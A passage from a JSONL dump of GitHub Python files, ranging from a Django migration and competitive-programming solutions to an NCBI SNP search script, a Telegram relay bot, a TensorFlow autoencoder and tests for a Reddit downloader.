2018-9-3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"365349783","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('words', '0002_draw_work'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='draw',\n name='word',\n field=models.ForeignKey(related_name='draws', to='words.Word'),\n ),\n ]\n","repo_name":"gergelypolonkai/word-challenge","sub_path":"words/migrations/0003_draw_word_related.py","file_name":"0003_draw_word_related.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34254131182","text":"N = int(input())\nS = input()\n\npos = set()\nX = 0\nY = 0\npos.add((X, Y))\nans = \"No\"\nfor s in S:\n if s == \"R\":\n X += 1\n elif s == \"L\":\n X -= 1\n elif s == \"U\":\n Y += 1\n elif s == \"D\":\n Y -= 1\n if (X, Y) in pos:\n ans = \"Yes\"\n break\n pos.add((X, Y))\nprint(ans)\n","repo_name":"hy-sksem/AtCoder","sub_path":"ABC/abc291/c/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13149009939","text":"import pandas as pd\nimport numpy as np\n\n# parameters\nn = 10000\n\nincome = np.random.normal(loc=800, scale=200, size=n)\nweights = np.random.randint(1,10000,size=n)\nsector = np.random.randint(1,4,size=n)\n\n# save data\ndf = pd.DataFrame({'income': income, 'weights': weights, 'sector': sector})\ndf.to_csv('income_data.csv',index=False)\nprint('Data generated and saved')\n","repo_name":"yabramuvdi/covid19-inequality","sub_path":"data_generation.py","file_name":"data_generation.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6487448145","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 5 21:23:57 2022\n\n@author: Serah Elsa Abraham\n\"\"\"\n\n#%%\n# import libraries\n\n\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\n####### Initializing ###########\n\ndpi = 300\nproject_dir = r'/Users/ashithacprasad/Desktop/Data_Science/sem5/Data_Visualization/week5/'\ndf1_filename = 'Supermarket.csv'\ndf2_filename = 'insurance.csv'\ndf3_filename = 'heart.disease.csv'\n\n####### End of Initializing ###########\n\n######## Visualization 1 - Bar chart ####\n\ndf1 = pd.read_csv(project_dir + df1_filename)\ncolumns = list(df1.columns)\n\n\ncountry_counts = df1['Country'].value_counts(ascending=False)\ncountry = pd.Series(list(country_counts.index))\ncountry_counts.index = range(len(country_counts))\n\nfig, ax = plt.subplots(figsize=(12,6))\n\nax.bar(country, country_counts)\nax.set_title('Sales Order by Country')\nax.set_xlabel('Country')\nax.set_xticklabels(country, fontsize=8)\nax.set_ylabel('Sales Count')\n\nplt.tight_layout()\n\nplot1_filename = 'Country.png'\nfig.savefig(project_dir + plot1_filename, dpi=dpi)\n\n######## End of Visualization 1 -Bar chart ####\n\n######## Visualization 2 - Scatter plot ####\n\ndf2 = pd.read_csv(project_dir + df2_filename)\ncolumns = list(df2.columns)\nfig, ax = plt.subplots(figsize=(12,8))\n\nbmi = df2.iloc[:,2]\ncharges = df2.iloc[:,6]\n\n\nax.scatter(bmi, charges, alpha=.5)\nax.set_title('BMI and Insurance charges')\nax.set_xlabel('Bmi')\nax.set_ylabel('Charges')\n\n\n\nplt.tight_layout()\n\nplot2_filename = 'bmi.png'\nfig.savefig(project_dir + plot2_filename, dpi=dpi)\n\n######## End of Visualization 2 - Scatter plot ####\n\n######## Visualization 3 -Line chart ####\n\ndf3 = pd.read_csv(project_dir + df3_filename)\n\ndf3.sex.replace(0,'Female',inplace=True)\ndf3.sex.replace(1,'Male',inplace=True)\nax.set_title('Number of heart disease and Survival rate - Female vs Male')\nax.set_xlabel('Number of heart disease')\nax.set_ylabel('Age')\nfig, ax = plt.subplots(figsize=(15,7))\n\ndf3.groupby(['num','sex']).count()['age'].unstack().plot(ax=ax)\n\nplt.tight_layout()\nplot3_filename = 'heart.png'\nfig.savefig(project_dir + plot3_filename, dpi=dpi)\n\n\n######## End of Visualization 3 -Line chart ####\n","repo_name":"serahelsa/Data_Visualization","sub_path":"Data_Visualization_Matplotlib_SEA.py","file_name":"Data_Visualization_Matplotlib_SEA.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26911999449","text":"import os\nimport sys\nif __name__ == '__main__':\n sys.path.append(os.path.join(os.path.dirname(__file__), '../..'))\n\nimport platform\nimport unittest\nimport StringIO\n\nfrom grit import util\nfrom grit.node import structure\nfrom grit.format import rc\n\n\nclass StructureUnittest(unittest.TestCase):\n def testSkeleton(self):\n grd = util.ParseGrdForUnittest('''\n \n \n \n \n ''', base_dir=util.PathFromRoot('grit/testdata'))\n grd.SetOutputLanguage('fr')\n grd.RunGatherers()\n transl = ''.join(rc.Format(grd, 'fr', '.'))\n self.failUnless(transl.count('040704') and transl.count('110978'))\n self.failUnless(transl.count('2005\",IDC_STATIC'))\n\n def testRunCommandOnCurrentPlatform(self):\n node = structure.StructureNode()\n node.attrs = node.DefaultAttributes()\n self.failUnless(node.RunCommandOnCurrentPlatform())\n node.attrs['run_command_on_platforms'] = 'Nosuch'\n self.failIf(node.RunCommandOnCurrentPlatform())\n node.attrs['run_command_on_platforms'] = (\n 'Nosuch,%s,Othernot' % platform.system())\n self.failUnless(node.RunCommandOnCurrentPlatform())\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"youtube/h5vcc","sub_path":"external/chromium/tools/grit/grit/node/structure_unittest.py","file_name":"structure_unittest.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"78"} +{"seq_id":"28940294486","text":"# pemanggilan fungsi\n\"\"\"\nimport math\n\nx = int(input())\nhasilakar = math.sqrt(x)\nprint(hasilakar)\n\"\"\"\n\n# membuat fungsi sederhana\n\"\"\"\ndef salam():\n print (\"Selamat Pagi\")\n\nprint(\"ini awall\")\nsalam()\nprint(\"ini akhir\")\n\"\"\"\n\n# Parameter fungsi\n\ndef salam(waktu): # waktu adalah parameternya / variabel yang nanti buat input di dalam fungsi\n print(\"Selamat\", waktu, \"!!\")\n\nsalam(8)\nsalam(\"Siang\")\nsalam(\"Sore\")\n\nprint()\n# dengan 2 parameter atau lebih\n\ndef cek_huruf(huruf, s):\n ada = False\n for i in s:\n if huruf == i:\n ada = True\n if ada:\n print(\"Huruf ditemukan\")\n else:\n print(\"Huruf tidak ada\")\n\ncek_huruf(\"k\", \"pakaian\")\n\n\"\"\"\ndef prima_bukan(n):\n c=0\n for i in range(n+1) :\n if n%(i+1)==0:\n c=c+1\n if c==2:\n print(n,\"adalah bilangan prima \")\n else :\n print(n,\"adalah bukan bilangan prima \")\n\nprima_bukan(int(input()))\n\"\"\"\n\n\n","repo_name":"NizanHulq/Kuliah-Python","sub_path":"pemrogaman modular/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"id","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"27507140358","text":"import logging\nimport subprocess\nimport unittest\n\nlogger = logging.getLogger()\n\ntry:\n logger.debug(\"Import coverage\")\n import coverage\nexcept:\n logger.error(\"Import coverage error\")\n\n\ndef check_code(path):\n logger.debug(\"START COVERAGE %s\", path)\n ret = run_coverage_subprocess(path)\n logger.debug(\"START COVERAGE %s\", path)\n\n return ret\n\n\ndef run_coverage_subprocess(path):\n\n logger.debug(\"Pass %s\", path)\n\n cov = coverage.Coverage(data_file=path + '/.rocks',\n auto_data=True, source=[path],\n concurrency='multiprocessing')\n # cov.load()\n cov.start()\n\n list_tests = unittest.TestLoader().discover(start_dir=path)\n suite = unittest.TestSuite(tests=list_tests)\n\n result = unittest.TestResult()\n logger.debug(\"Count tests: %s\", suite.countTestCases())\n suite.run(result)\n\n logger.debug('Result: %s', result)\n\n cov.stop()\n\n logger.debug(\"Get data %s\", path)\n\n return cov\n","repo_name":"jonesambrosi/rocks","sub_path":"process/cover.py","file_name":"cover.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28938661585","text":"from typing import Any, Callable, Dict, Optional, TypeVar\n\nfrom azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error\nfrom azure.core.pipeline import PipelineResponse\nfrom azure.core.pipeline.transport import AsyncHttpResponse\nfrom azure.core.rest import HttpRequest\nfrom azure.core.tracing.decorator_async import distributed_trace_async\n\nfrom ... import models as _models\nfrom ..._vendor import _convert_request\nfrom ...operations._operations import build_get_operation_request, build_get_operations_page_request\nT = TypeVar('T')\nClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]]\n\nclass Operations:\n \"\"\"\n .. warning::\n **DO NOT** instantiate this class directly.\n\n Instead, you should access the following operations through\n :class:`~form_recognizer_client.aio.FormRecognizerClient`'s\n :attr:`operations` attribute.\n \"\"\"\n\n models = _models\n\n def __init__(self, *args, **kwargs) -> None:\n args = list(args)\n self._client = args.pop(0) if args else kwargs.pop(\"client\")\n self._config = args.pop(0) if args else kwargs.pop(\"config\")\n self._serialize = args.pop(0) if args else kwargs.pop(\"serializer\")\n self._deserialize = args.pop(0) if args else kwargs.pop(\"deserializer\")\n\n\n @distributed_trace_async\n async def get_operations_page(\n self,\n **kwargs: Any\n ) -> \"_models.PageOperationsOperationInfo\":\n \"\"\"get_operations_page.\n\n :keyword callable cls: A custom type or function that will be passed the direct response\n :return: PageOperationsOperationInfo, or the result of cls(response)\n :rtype: ~form_recognizer_client.models.PageOperationsOperationInfo\n :raises: ~azure.core.exceptions.HttpResponseError\n \"\"\"\n cls = kwargs.pop('cls', None) # type: ClsType[\"_models.PageOperationsOperationInfo\"]\n error_map = {\n 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError\n }\n error_map.update(kwargs.pop('error_map', {}))\n\n api_version = kwargs.pop('api_version', \"2022-01-30-preview\") # type: str\n\n \n request = build_get_operations_page_request(\n api_version=api_version,\n template_url=self.get_operations_page.metadata['url'],\n )\n request = _convert_request(request)\n request.url = self._client.format_url(request.url)\n\n pipeline_response = await self._client._pipeline.run( # pylint: disable=protected-access\n request,\n stream=False,\n **kwargs\n )\n response = pipeline_response.http_response\n\n if response.status_code not in [200]:\n map_error(status_code=response.status_code, response=response, error_map=error_map)\n raise HttpResponseError(response=response)\n\n deserialized = self._deserialize('PageOperationsOperationInfo', pipeline_response)\n\n if cls:\n return cls(pipeline_response, deserialized, {})\n\n return deserialized\n\n get_operations_page.metadata = {'url': \"/formrecognizer/operations\"} # type: ignore\n\n\n @distributed_trace_async\n async def get_operation(\n self,\n operation_id: str,\n **kwargs: Any\n ) -> \"_models.OperationsGetOperationResponse\":\n \"\"\"get_operation.\n\n :param operation_id:\n :type operation_id: str\n :keyword callable cls: A custom type or function that will be passed the direct response\n :return: OperationsGetOperationResponse, or the result of cls(response)\n :rtype: ~form_recognizer_client.models.OperationsGetOperationResponse\n :raises: ~azure.core.exceptions.HttpResponseError\n \"\"\"\n cls = kwargs.pop('cls', None) # type: ClsType[\"_models.OperationsGetOperationResponse\"]\n error_map = {\n 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError\n }\n error_map.update(kwargs.pop('error_map', {}))\n\n api_version = kwargs.pop('api_version', \"2022-01-30-preview\") # type: str\n\n \n request = build_get_operation_request(\n operation_id=operation_id,\n api_version=api_version,\n template_url=self.get_operation.metadata['url'],\n )\n request = _convert_request(request)\n request.url = self._client.format_url(request.url)\n\n pipeline_response = await self._client._pipeline.run( # pylint: disable=protected-access\n request,\n stream=False,\n **kwargs\n )\n response = pipeline_response.http_response\n\n if response.status_code not in [200]:\n map_error(status_code=response.status_code, response=response, error_map=error_map)\n raise HttpResponseError(response=response)\n\n deserialized = self._deserialize('OperationsGetOperationResponse', pipeline_response)\n\n if cls:\n return cls(pipeline_response, deserialized, {})\n\n return deserialized\n\n get_operation.metadata = {'url': \"/formrecognizer/operations/{operationId}\"} # type: ignore\n\n","repo_name":"witemple-msft/cadl-fr","sub_path":"langs/py/form_recognizer_client/aio/operations/_operations.py","file_name":"_operations.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3256943819","text":"\"\"\"This script performs the following:\r\n\r\n1) extracts data about ARE intervals (on chr 8) from file\r\n (overlapping intervals are merged);\r\n2) checks for SNPs in each interval;\r\nif any SNPs are found in the interval:\r\n * their UIDs are saved - along with respective interval coords;\r\n * link is formed, printed (1 link per interval)\r\n and saved;\r\n3) stores search results on the Entrez history server\r\n (therefore later use is possible).\r\n The subsequent search results are being associated\r\n with existing Search Results and saved in the same WebEnv\r\n (Each request is made with the same WebEnv parameter)\r\n4) downloads fasta files for each SNP that was found,\r\n using data saved on Entrez history server\r\n\r\n\"\"\"\r\nimport requests\r\nimport re\r\nimport os\r\nfrom xml.etree import ElementTree\r\nfrom merge import merge_overlapping # from current directory\r\n\r\n\r\nare_coord = []\r\nwith open('klf10_are_coord_list.txt', 'rt') as f:\r\n for line in f:\r\n are_coord.append(tuple(map(int, line.split()))) # start, end\r\nprint(are_coord) #\r\nare_coord = merge_overlapping(are_coord)\r\n# merging allows:\r\n# 1) to do less job\r\n# 2) pick each UID only once\r\nprint(are_coord, '(merged intervals)') #\r\n\r\nURL_1 = 'https://eutils.ncbi.nlm.nih.gov/entrez/eutils/' \\\r\n 'esearch.fcgi'\r\nparams = {\r\n 'db': 'snp',\r\n 'term': 'KLF10[Gene] AND \"Homo sapiens\"[Organism]' \\\r\n ' AND 8[CHR] AND {start}:{end}[CHRPOS]',\r\n 'usehistory': 'y'\r\n}\r\nid_found = []\r\nlinks_found = []\r\n\r\nfor i in range(len(are_coord)):\r\n curr_params = params.copy() # curr_params = params won't work!\r\n curr_params['term'] = params['term'].format(\r\n start=str(are_coord[i][0]), end=str(are_coord[i][1]))\r\n print('# {:<4}'.format(i + 1), end='')\r\n res = requests.get(URL_1, params=curr_params)\r\n # print(res.status_code) # 200 in all cases\r\n\r\n root = ElementTree.fromstring(res.text)\r\n print('Count: {:<5}'.format(root.find('Count').text), end='')\r\n print(curr_params['term']) # Entrez query\r\n\r\n if root.find('Count').text != '0':\r\n query_key = root.find('QueryKey').text # or str(i + 1)\r\n for id_element in root.iter('Id'):\r\n id_found.append((id_element.text, are_coord[i], query_key)) # append a tuple\r\n # to maintain connection between the found SNP\r\n # and the respective ARE and QueryKey\r\n\r\n # create link to html instead of xml\r\n link = 'https://www.ncbi.nlm.nih.gov/snp?' + res.url.partition('?')[2]\r\n # stage 1 - change domain\r\n link = re.sub(r'&?(WebEnv[^&]*|db=[^&]*|usehistory=y)&?', '', link)\r\n # stage 2 - remove unnecessary params\r\n print(link) # link for humans is ready\r\n links_found.append(link)\r\n\r\n if i == 0:\r\n WebEnv = root.find('WebEnv').text\r\n params['WebEnv'] = WebEnv\r\n # adding new parameter to be used in subsequent searches\r\n\r\nprint(id_found)\r\nprint('UIDs found:')\r\nfor id_ in id_found:\r\n print('{:<12} (ARE coordinates = {})'.format(id_[0], id_[1]))\r\n\r\nURL_2 = 'https://eutils.ncbi.nlm.nih.gov/entrez/eutils/' \\\r\n 'efetch.fcgi'\r\n\r\nif not os.path.exists('./SNPs_found'):\r\n os.makedirs('./SNPs_found')\r\nos.chdir('./SNPs_found')\r\n\r\nfor i in range(len(id_found)):\r\n params = {\r\n 'db': 'snp',\r\n 'WebEnv': WebEnv,\r\n 'query_key': id_found[i][2],\r\n 'rettype': 'fasta',\r\n 'retmode': 'text'\r\n }\r\n print('Downloading file {} of {}'.format(\r\n i + 1, len(id_found)))\r\n res = requests.get(URL_2, params=params)\r\n filename = str('SNP_rs' + id_found[i][0] + '.fasta')\r\n with open(filename, 'wt') as f:\r\n f.write(res.text)\r\n\r\n","repo_name":"MykolaKlishch/bioinf-Python-scripts","sub_path":"1. SNP search in ARE regions/snp_search_in_ares_fasta_output.py","file_name":"snp_search_in_ares_fasta_output.py","file_ext":"py","file_size_in_byte":3665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"45491659974","text":"import math\n\nnums = str(input().rstrip())\ndic = dict()\ncheck = 0\n\nfor num in nums:\n if num == '6' or num == '9':\n check += 1\n continue\n num = int(num)\n if num in dic:\n dic[num] += 1\n else:\n dic[num] = 1\n\ncheck = math.ceil(check/2)\nif not dic:\n count = 0\nelse:\n count = max(dic.values())\n \nprint(max(count,check))\n","repo_name":"SL313/algorithm","sub_path":"BaekJoon/Python/1475.py","file_name":"1475.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72849315451","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport argparse\nimport os\nimport telebot\n\nfrom pymongo import MongoClient\nfrom flask import Flask, request\n\nTOKEN = os.environ['TOKEN']\nbot = telebot.TeleBot(TOKEN)\n\nserver = Flask(__name__)\nTELEBOT_URL = 'telebot_webhook/'\nBASE_URL = 'https://wizard-of-oz-bot.herokuapp.com/'\n\nMONGO_URL = os.environ.get('MONGODB_URI')\nmongo_client = MongoClient(MONGO_URL)\nmongo_db = mongo_client.get_default_database()\n\nmongo_config = mongo_db.get_collection('config')\nmongo_messages = mongo_db.get_collection('messages')\n\n\n@server.route(\"/\" + TELEBOT_URL)\ndef web_hook():\n bot.remove_webhook()\n bot.set_webhook(url=BASE_URL + TELEBOT_URL + TOKEN)\n return \"!\", 200\n\n\n@server.route(\"/wakeup/\")\ndef wake_up():\n web_hook()\n return \"Маам, ну ещё пять минуточек!\", 200\n\n\n@bot.message_handler(func=lambda message: True, content_types=['document', 'text', 'photo'])\ndef process_message(msg):\n text = msg.text\n woz = mongo_config.find_one({'key': 'wizard'})\n if woz is not None:\n woz_uid = woz['uid']\n else:\n woz_uid = None\n if len(text) >= 3 and text == os.environ.get('WOZ_PASSWORD'):\n mongo_config.update_one(\n {'key': 'wizard'}, \n {'$set': {'uid': msg.from_user.id, 'username': msg.from_user.username}}, \n upsert=True\n )\n bot.reply_to(msg, 'Вы подобрали пароль! Теперь вы - волшебник изумрудного города!')\n elif msg.from_user.id == woz_uid:\n if msg.reply_to_message is not None:\n message_from_bot = msg.reply_to_message\n original_message = mongo_messages.find_one({'copy_id': message_from_bot.message_id})\n if original_message is None:\n bot.reply_to(msg, 'Исходное сообщение не найдено!')\n else:\n bot.send_message(\n original_message['original_uid'], text, reply_to_message_id=original_message['original_id']\n )\n report = 'Ваше сообщение было отправлено @{}'.format(original_message.get('original_username'))\n bot.reply_to(msg, report)\n else:\n bot.reply_to(msg, 'Да, вы по-прежнему волшебник. Ждите сообщений от меня и отвечайте на них!')\n elif woz_uid is None:\n bot.reply_to(msg, 'Я пока не настроен, подождите, пожалуйста')\n else:\n new_text = 'Сообщение от @{}:\\n_____\\n{}'.format(msg.from_user.username, text)\n result = bot.send_message(woz_uid, new_text)\n mongo_messages.insert_one(\n {\n 'copy_id': result.message_id, 'original_id': msg.message_id,\n 'original_uid': msg.from_user.id, 'original_username': msg.from_user.username\n }\n )\n\n\n@server.route('/' + TELEBOT_URL + TOKEN, methods=['POST'])\ndef get_message():\n bot.process_new_updates([telebot.types.Update.de_json(request.stream.read().decode(\"utf-8\"))])\n return \"!\", 200\n\n\nparser = argparse.ArgumentParser(description='Run the bot')\nparser.add_argument('--poll', action='store_true')\n\n\ndef main():\n args = parser.parse_args()\n if args.poll:\n bot.remove_webhook()\n bot.polling()\n else:\n web_hook()\n server.run(host=\"0.0.0.0\", port=int(os.environ.get('PORT', 5000)))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"avidale/woz_bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7672231615","text":"import pandas as pd\nfrom rapidfuzz import process\nfrom pandarallel import pandarallel\npandarallel.initialize(progress_bar=False, nb_workers=4)\n\n\ndef standardise_job_title(df: pd.DataFrame, dictionary=None, col='job_title', score_cutoff=95) -> pd.DataFrame:\n \"\"\"\n Standardise job titles for feature engineering. Takes in a DataFrame and return a DataFrame with the standard column.\n\n Parameters:\n df (pd.DataFrame): Input data\n col (str): Input column (the default is 'job_title')\n score_cutoff (int): Fuzzy matching score cutoff (the default is 95) \n Returns:\n df (pd.DataFrame): DataFrame with the standardised job title\n \"\"\"\n # nothing to look up, no column found or empty dataframe as input\n if any(\n [dictionary is None, col not in df.columns, df.shape[0] == 0]\n ):\n print('No job title dictionary set, no job title column found or empty data input!')\n return df\n # read in job titles dictionary\n dictionary = (\n dictionary\n .rename(columns={'job_title_raw' : '_job_title_raw', 'job_title' : '_job_title'})\n )\n # create match keys\n df = (\n df\n .assign(\n _match_key=df[col].apply(lambda x : x.lower().strip() if isinstance(x, str) else '')\n )\n )\n # get exact matches\n matches_exact = (\n df\n .merge(dictionary, how='left', left_on='_match_key', right_on='_job_title_raw', indicator=True, suffixes=('', '_y'))\n )\n # where we could not find an exact matches, we will try to fuzzy match\n matches_fuzzy = (\n matches_exact\n .query('_merge == \"left_only\"')\n .drop(columns=['_merge', '_job_title_raw', '_job_title'])\n )\n # job titles to lookup as one array\n _job_titles = dictionary['_job_title_raw'].unique()\n \n # matching function wrapper\n _match_func = lambda x : process.extractOne(x, _job_titles)\n \n # apply matching function\n matches_fuzzy = (\n matches_fuzzy\n .assign(\n _match=matches_fuzzy['_match_key'].parallel_apply(_match_func)\n )\n )\n # split out fuzzy matching results into separate columns\n matches_fuzzy = (\n matches_fuzzy\n .assign(\n _match_value=matches_fuzzy['_match'].apply(lambda x : x[0]),\n _match_score=matches_fuzzy['_match'].apply(lambda x : x[1]),\n )\n .merge(dictionary, how='left', left_on='_match_value', right_on='_job_title_raw', suffixes=('', '_y'))\n .drop(columns=['_match'])\n )\n # split out non matches\n non_matches_fuzzy = (\n matches_fuzzy\n .query('_match_score < @score_cutoff')\n )\n # replace original value with the fuzzy match results\n matches_fuzzy[col] = matches_fuzzy['_job_title']\n\n # combine results\n matches = pd.concat([\n (non_matches_fuzzy\n [df.columns]\n .drop(columns=['_match_key'])), # no match found\n (matches_fuzzy\n .query('_match_score >= @score_cutoff')\n [df.columns]\n .drop(columns=['_match_key'])), # fuzzy match found,\n (matches_exact\n .assign(_temp=matches_exact['_job_title'])\n .drop(columns=[col])\n .rename(columns={'_temp' : col})\n .query('_merge == \"both\"')\n [df.columns]\n .drop(columns=['_match_key'])), # exact match found\n ], ignore_index=True) \n # return combined results\n return matches\n","repo_name":"lethalwombat/job_title_normalizer","sub_path":"notebooks/data_processing.py","file_name":"data_processing.py","file_ext":"py","file_size_in_byte":3451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74943057504","text":"import tensorflow as tf\nimport numpy as np\n\ndef get_batch(X, size):\n a = np.random.choice(len(X), size, replace = False)\n return X[a]\n\nclass Autoencoder:\n def __init__(self, input_dim, hidden_dim, epoch = 250, learning_rate = 0.001):\n self.epoch = epoch\n self.learning_rate = learning_rate\n\n x = tf.placeholder(dtype = tf.float32, shape = [None, input_dim])\n\n with tf.name_scope(\"encode\"):\n weights = tf.Variable(tf.random_normal([input_dim, hidden_dim],\n dtype = tf.float32), name = \"weights\")\n biases = tf.Variable(tf.zeros([hidden_dim]), name = \"biases\")\n encoded = tf.nn.tanh(tf.matmul(x, weights) + biases)\n\n with tf.name_scope(\"decode\"):\n weights = tf.Variable(tf.random_normal([hidden_dim, input_dim],\n dtype = tf.float32), name = \"weights\")\n biases = tf.Variable(tf.zeros([input_dim]), name = \"biases\")\n decoded = tf.matmul(encoded, weights) + biases\n\n self.x = x\n self.encoded = encoded\n self.decoded = decoded\n self.batch_size = 10\n\n self.loss = tf.sqrt(tf.reduce_mean(tf.square(tf.subtract(self.x, self.decoded))))\n self.train_op = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss)\n self.saver = tf.train.Saver()\n\n def train(self, data, batch_size = 10):\n num_samples = len(data)\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for i in range(self.epoch):\n # for j in range(num_samples):\n for j in range(500):\n batch_data = get_batch(data, self.batch_size)\n l, _ = sess.run([self.loss, self.train_op], feed_dict={self.x: batch_data})\n # l, _ = sess.run([self.loss, self.train_op],\n # feed_dict = {self.x: batch_data})\n if i % 10 == 0:\n print(\"epoch {0}: loss = {1}\".format(i, l))\n self.saver.save(sess, \"./model.ckpt\")\n self.saver.save(sess, \"./model.ckpt\")\n\n def test(self, data):\n with tf.Session() as sess:\n self.saver.restore(sess, \"./model.ckpt\")\n hidden, reconstructed = sess.run([self.encoded, self.decoded],\n feed_dict = {self.x: data})\n print(\"input\", data)\n print(\"compressed\", hidden)\n print(\"reconstructed\", reconstructed)\n return reconstructed\n\nfrom sklearn import datasets\n\nhidden_dim = 1\ndata = datasets.load_iris().data\ninput_dim = len(data[0])\nae = Autoencoder(input_dim, hidden_dim)\n\nae.train(data)\nae.test([[8, 4, 6, 2]])\n\n\n# loading own images\nfrom scipy.misc import imread, imresize\n\ngray_image = imread(filepath, True)\nsmall_gray_image = imresize(gray_image, 1./8.)\nx = small_gray_image.flatten()\n\n\nimport pickle\n\ndef unpickle(file):\n fo = open(file, \"rb\")\n dict = pickle.load(fo, encoding = \"latin1\")\n fo.close()\n return dict\n\n\n\nimport numpy as np\nnames = unpickle(\"/Users/ilyaperepelitsa/Downloads/cifar-10-batches-py/batches.meta\")['label_names']\ndata, labels = [], []\nfor i in range(1, 6):\n filename = \"/Users/ilyaperepelitsa/Downloads/cifar-10-batches-py/data_batch_\" + str(i)\n batch_data = unpickle(filename)\n if len(data) > 0:\n data = np.vstack((data, batch_data[\"data\"]))\n labels = np.hstack((labels, batch_data[\"labels\"]))\n else:\n data = batch_data[\"data\"]\n labels = batch_data[\"labels\"]\n\n\ndef grayscale(a):\n return a.reshape(a.shape[0], 3, 32, 32).mean(1).reshape(a.shape[0], -1)\n\ndata = grayscale(data)\n\n\nx = np.matrix(data)\ny = np.array(labels)\n\nhorse_indices = np.where(y == 7)[0]\nhorse_x = x[horse_indices]\n\nprint(np.shape(horse_x))\n\ninput_dim = np.shape(horse_x)[1]\nhidden_dim = 100\nae = Autoencoder(input_dim, hidden_dim)\nae.train(horse_x)\n","repo_name":"ilyaperepelitsa/tensor","sub_path":"maning_shukla/ch7-encoding.py","file_name":"ch7-encoding.py","file_ext":"py","file_size_in_byte":3879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"2879544608","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport shutil\nfrom pathlib import Path\nfrom unittest.mock import MagicMock, patch\n\nimport prawcore\nimport pytest\nfrom click.testing import CliRunner\n\nfrom bdfr.__main__ import cli\n\ndoes_test_config_exist = Path(\"./tests/test_config.cfg\").exists()\n\n\ndef copy_test_config(run_path: Path):\n shutil.copy(Path(\"./tests/test_config.cfg\"), Path(run_path, \"test_config.cfg\"))\n\n\ndef create_basic_args_for_cloner_runner(test_args: list[str], tmp_path: Path):\n copy_test_config(tmp_path)\n out = [\n \"clone\",\n str(tmp_path),\n \"-v\",\n \"--config\",\n str(Path(tmp_path, \"test_config.cfg\")),\n \"--log\",\n str(Path(tmp_path, \"test_log.txt\")),\n ] + test_args\n return out\n\n\n@pytest.mark.online\n@pytest.mark.reddit\n@pytest.mark.skipif(not does_test_config_exist, reason=\"A test config file is required for integration tests\")\n@pytest.mark.parametrize(\n \"test_args\",\n (\n [\"-l\", \"6l7778\"],\n [\"-s\", \"TrollXChromosomes/\", \"-L\", 1],\n [\"-l\", \"eiajjw\"],\n [\"-l\", \"xl0lhi\"],\n ),\n)\ndef test_cli_scrape_general(test_args: list[str], tmp_path: Path):\n runner = CliRunner()\n test_args = create_basic_args_for_cloner_runner(test_args, tmp_path)\n result = runner.invoke(cli, test_args)\n assert result.exit_code == 0\n assert \"Downloaded submission\" in result.output\n assert \"Record for entry item\" in result.output\n\n\n@pytest.mark.online\n@pytest.mark.reddit\n@pytest.mark.skipif(not does_test_config_exist, reason=\"A test config file is required for integration tests\")\n@pytest.mark.parametrize(\n \"test_args\",\n (\n [\"-l\", \"ijy4ch\"], # user deleted post\n [\"-l\", \"kw4wjm\"], # post from banned subreddit\n ),\n)\ndef test_cli_scrape_soft_fail(test_args: list[str], tmp_path: Path):\n runner = CliRunner()\n test_args = create_basic_args_for_cloner_runner(test_args, tmp_path)\n result = runner.invoke(cli, test_args)\n assert result.exit_code == 0\n assert \"Downloaded submission\" not in result.output\n assert \"Record for entry item\" not in result.output\n\n\n@pytest.mark.skipif(not does_test_config_exist, reason=\"A test config file is required for integration tests\")\n@pytest.mark.parametrize(\n (\"test_args\", \"response\"),\n (\n ([\"--user\", \"nasa\", \"--submitted\"], 502),\n ([\"--user\", \"nasa\", \"--submitted\"], 504),\n ),\n)\ndef test_user_serv_fail(test_args: list[str], response: int, tmp_path: 